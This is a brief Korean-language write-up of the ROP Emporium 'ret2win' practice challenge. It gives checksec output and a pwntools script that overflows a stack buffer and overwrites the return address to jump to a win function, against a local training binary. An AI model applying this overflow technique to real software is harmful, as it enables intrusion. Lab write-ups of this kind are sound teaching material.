ROP Emporium - ret2win writeup

ROP Emporium - ret2win writeup

---

 

https://ropemporium.com/challenge/ret2win.html

ret2win challenge

 

 

checksec을 확인했더니 NX만 걸려있었다.

[*] '/home/ubuntu/dreamhack/ret2win'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

 

기드라랑 gdb로 확인헀을 떄, 코드가 간단해서 바로 exploit만 작성한다.

from pwn import *

context(arch='amd64')
p = process('./ret2win')

ret2win = 0x400756

p.recvuntil(b'read()!')
p.recvuntil(b'> ')

print('\n\n\n\n')
payload = b'A' * 0x20 + b'B' * 0x08
payload += p64(ret2win)

p.send(payload)

print(p.recv())